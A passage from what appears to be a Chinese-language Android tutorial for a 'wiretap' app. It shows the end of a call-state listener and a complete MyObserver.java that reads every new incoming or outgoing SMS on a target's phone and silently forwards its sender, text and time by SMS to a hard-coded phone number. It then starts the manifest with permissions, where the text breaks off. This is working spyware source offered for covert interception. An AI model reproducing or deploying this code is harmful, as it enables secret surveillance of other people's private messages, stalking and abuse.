break;
case TelephonyManager.CALL_STATE_RINGING: // 响铃状态
System.out.println("响铃状态");
break;
}
}
}
}
然后进入管理短信服务界面MyObserver.java,代码如下所示
package com.xunfang.observer;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.telephony.SmsManager;
public class MyObserver extends ContentObserver {
private Context context;
public MyObserver(Context context,Handler handler) {
super(handler);
this.context = context;
}
@Override
public void onChange(boolean selfChange, Uri uri) {
ContentResolver resolver = context.getContentResolver();
Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
cursor.moveToFirst();
String address = cursor.getString(0);
String body = cursor.getString(1);
int type = cursor.getInt(2);
long date = cursor.getLong(3);
//将日期格式化,按这个模式输出日期
String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
//type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
if(type ==2 ){
String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码
//拿到默认短信管理器
SmsManager sm = SmsManager.getDefault();
//发送短信
sm.sendTextMessage(phone, null, sms, null, null) ;
System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
}
if(type == 1){
String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码
SmsManager sm = SmsManager.getDefault();
sm.sendTextMessage(phone, null, sms, null, null) ;
System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
}
}
}
代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.xunfang.wiretap"
android:versionCode="1"
android:versionName="1.0" >